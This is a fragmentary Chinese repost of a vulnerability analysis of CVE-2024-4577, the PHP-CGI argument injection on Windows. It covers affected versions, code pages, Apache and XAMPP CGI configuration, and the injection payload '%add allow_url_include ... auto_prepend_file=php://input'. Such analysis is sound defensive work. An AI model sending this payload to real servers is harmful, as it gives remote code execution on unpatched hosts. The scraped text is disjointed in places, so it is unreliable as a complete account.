-
https://www.blackhat.com/us-24/briefings/schedule/index.html#confusion-attacks-exploiting-hidden-semantic-ambiguity-in-apache-http-server-40227
-
https://devco.re/blog/2024/06/06/security-alert-cve-2024-4577-php-cgi-argument-injection-vulnerability/
漏洞描述
影响范围
-
PHP 8.3 < 8.3.8 -
PHP 8.2 < 8.2.20 -
PHP 8.1 < 8.1.29
漏洞利用条件
Windows系统内字符编码转换的Best-Fit特性
-
必须是Window环境
-
繁体中文 (字码页 950) -
简体中文 (字码页 936) -
日文 (字码页 932)
-
,我们可以结合php的源码来看,为什么这个-
很重要Something is wrong with the XAMPP installation :-(
Apache CGI will pass the query string to the command line if it doesn't contain a '='.
This can create an issue where a malicious request can pass command line arguments to
the executable. Ideally we skip argument parsing when we're in cgi or fastcgi mode,
but that breaks PHP scripts on Linux with a hashbang: `#!/php-cgi -d option=value`.
Therefore, this code only prevents passing arguments if the query string starts with a '-'.
Similarly, scripts spawned in subprocesses on Windows may have the same issue.
以CGI模式运行的PHP环境
AddHandler cgi-script .php
Action cgi-script "/cgi-bin/php-cgi.exe"
<FilesMatch ".php$">
SetHandler application/x-httpd-php-cgi
</FilesMatch>
Action application/x-httpd-php-cgi "/php-cgi/php-cgi.exe"
#
# PHP-CGI setup
#
<FilesMatch ".php$">
SetHandler application/x-httpd-php-cgi
</FilesMatch>
<IfModule actions_module>
Action application/x-httpd-php-cgi "/php-cgi/php-cgi.exe"
</IfModule>
-
,这样在-之后的部分就会成为php-cgi的参数,构成参数注入。%add+allow_url_include%3don+%add+auto_prepend_file%3dphp://input
-d allow_url_include=on -d auto_prepend_file=php://input
将PHP的执行程序暴露在外 - XAMPP默认配置
ScriptAlias /php-cgi/ "D:/xampp/php/"
<Directory "D:/xampp/php">
AllowOverride None
Options None
Require all denied
<Files "php-cgi.exe">
Require all granted
</Files>
</Directory>
/php-cgi/
路径的时候,会映射D:/xampp/php/
下的文件,而这个目录下正好是php的整个目录原文始发于微信公众号(LoRexxar自留地):PHP CGI Windows平台远程代码执行漏洞(CVE-2024-4577)分析与复现
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论